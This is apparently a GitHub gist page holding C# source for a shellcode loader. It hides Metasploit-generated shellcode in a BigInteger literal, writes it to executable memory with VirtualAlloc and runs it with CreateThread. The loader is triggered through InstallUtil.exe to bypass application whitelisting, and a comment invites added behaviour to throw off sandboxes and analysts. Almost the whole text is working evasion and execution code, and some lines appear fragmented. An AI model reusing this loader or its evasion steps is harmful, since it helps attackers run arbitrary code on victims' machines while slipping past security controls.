Skip to content

Instantly share code, notes, and snippets.

Created March 2, 2018 09:04
Show Gist options
  • Save yehgdotnet/bd889bae680011b71a74a133f6ef6584 to your computer and use it in GitHub Desktop.
Save yehgdotnet/bd889bae680011b71a74a133f6ef6584 to your computer and use it in GitHub Desktop.
Shellcode Stuffed Into A System.Numerics.BigInteger - Cause You Know Why Not ;-)
using System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x86 /reference:System.Numerics.dll /out:execcalc.exe execcalc.cs
Step Two:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U execcalc.exe
public class Program
public static void Main()
Console.WriteLine("Hello From Main...I Don't Do Anything");
//Add any behaviour here to throw off sandbox execution/analysts :)
public class Sample : System.Configuration.Install.Installer
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
Console.WriteLine("Hello There From Uninstall");
public class Shellcode
public static void Exec()
// native function's compiled code
// generated with metasploit
System.Numerics.BigInteger bg = System.Numerics.BigInteger.Parse("955371524831662197453050296989540772601133427792513134757189266616055384522946738068444826002778254097458315402936617690208840499932509451279479554640594402871266365115513740485971485248101715397142585956356308065098484068968551033809964658612307231583273422172635492824235484138467774562003547949892861997720988693254164818175579102162132480725647317133826087560793254169417751150810377439126410560769908926737138539475769692348604671207525047549002006057380092");
byte[] shellcode = bg.ToByteArray();
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
private static extern bool CloseHandle(IntPtr handle);
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment